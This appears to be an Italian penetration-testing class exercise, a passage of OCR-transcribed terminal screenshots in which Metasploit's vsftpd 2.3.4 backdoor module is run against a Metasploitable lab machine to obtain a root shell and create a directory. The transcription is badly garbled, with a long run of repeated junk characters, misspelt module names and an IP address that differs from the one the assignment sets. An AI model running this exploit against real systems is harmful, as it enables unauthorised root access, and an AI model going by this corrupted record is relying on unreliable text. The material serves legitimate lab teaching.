Traccia:

Partendo dall'esercizio guidato visto nella lezione teorica, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica). L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: 192.168.1.149/24. Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella test_metasploit.

```
-(kali⊕kali)-[~]
└$ <u>sudo</u> msfdb init & msfconsole
[sudo] password for kali:
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
Unable to handle kernel NULL pointer dereference at virtual address 0×d34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018 es: 0018 ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)
Stack: 9090909099990909090909090
      9090909099090909090909090
      90909090.90909090.90909090
      90909090.90909090.90909090
      90909090.90909090.09090900
      90909090.90909090.09090900
      cccccccccccccccccccc
      ccccccccccccccccccc
      ccccccc.....
      cccccccccccccccccc
      cccccccccccccccccc
```

```
File Actions Edit View Help
      90909090.90909090.09090900
      .........
      ccccccccccccccccccccc
      ccccccccccccccccccc
      ccccccc.....
      ccccccccccccccccccc
      cccccccccccccccccccc
      .....cccccccc
      ccccccccccccccccccc
      cccccccccccccccccc
      ffffffffffffffffffffffffffff
      ffffffff....
      fffffffffffffffffffffffffffffffffff
      ffffffff.....
      ffffffff....
      ffffffff.....
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing
     =[ metasploit v6.3.27-dev
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post
+ -- --=[ 1382 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion
Metasploit tip: Enable verbose logging with set VERBOSE
true
Metasploit Documentation: https://docs.metasploit.com/
<u>msf6</u> >
```

```
File Actions Edit View Help

(kali@kali)-[""" | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ | """ |
```

```
msf6 exploit(
                                                                                                 r) > set rhosts 192.168.50.101
msro exploit(unix/rtp/vsrtpg_234_backdoor) > set rhosts 19 rhosts = 192.168.50.101 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
 Compatible Payloads
                                                                              Disclosure Date Rank
                                                                                                                                         Check Description
       # Name
        0 payload/cmd/unix/interact
                                                                                                                                                         Unix Command, Interact with Established Connection
 msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
                        Current Setting Required Description
      Name
                                                                                  The local client port

A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
      Proxies
RHOSTS 192.168.50.101
RPORT 21
Payload options (cmd/unix/interact):
      Name Current Setting Required Description
Exploit target:
View the full module info with the info, or info -d command.
                                                                                                                                                                                                                                                                           Attiva Windows
msf6 exploit(uni
 File Actions Edit View Help
msf6 exploit(
[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[*] 192.168.50.101:21 - Backdoor service has been spawned, handling...
[*] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_236_backdoor) > [*] Command shell session 1 opened (192.168.50.100:35271 → 192.168.50.101:6200) at 2024-02-18 14:36:00 +0100 ifconfig
[*] exec: ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.50.100 netmask 255.255.255.0 broadcast 192.168.50.255
inet6 fe80::a00:27ff:fecb:7ef5 prefixlen 64 scopeid 0×20<link>
ether 08:00:27:cis7e:f5 txqueuelen 1000 (Ethernet)
RX packets 1842 bytes 152873 (149.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3017 bytes 209101 (204.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 08:00:27:e1:f8:99 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0*10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 38120 bytes 5745773 (5.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 38120 bytes 5745773 (5.4 MiB)
                                                                                                                                                                                                                                                      Attiva Windows
```

```
msf6 exploit(umix/ftp/vsftpd_234_backdoor) > /mkdir test_metaspolit
[*] exec: /mkdir test_metaspolit
msf6 exploit(umix/ftp/vsftpd_234_backdoor) >
```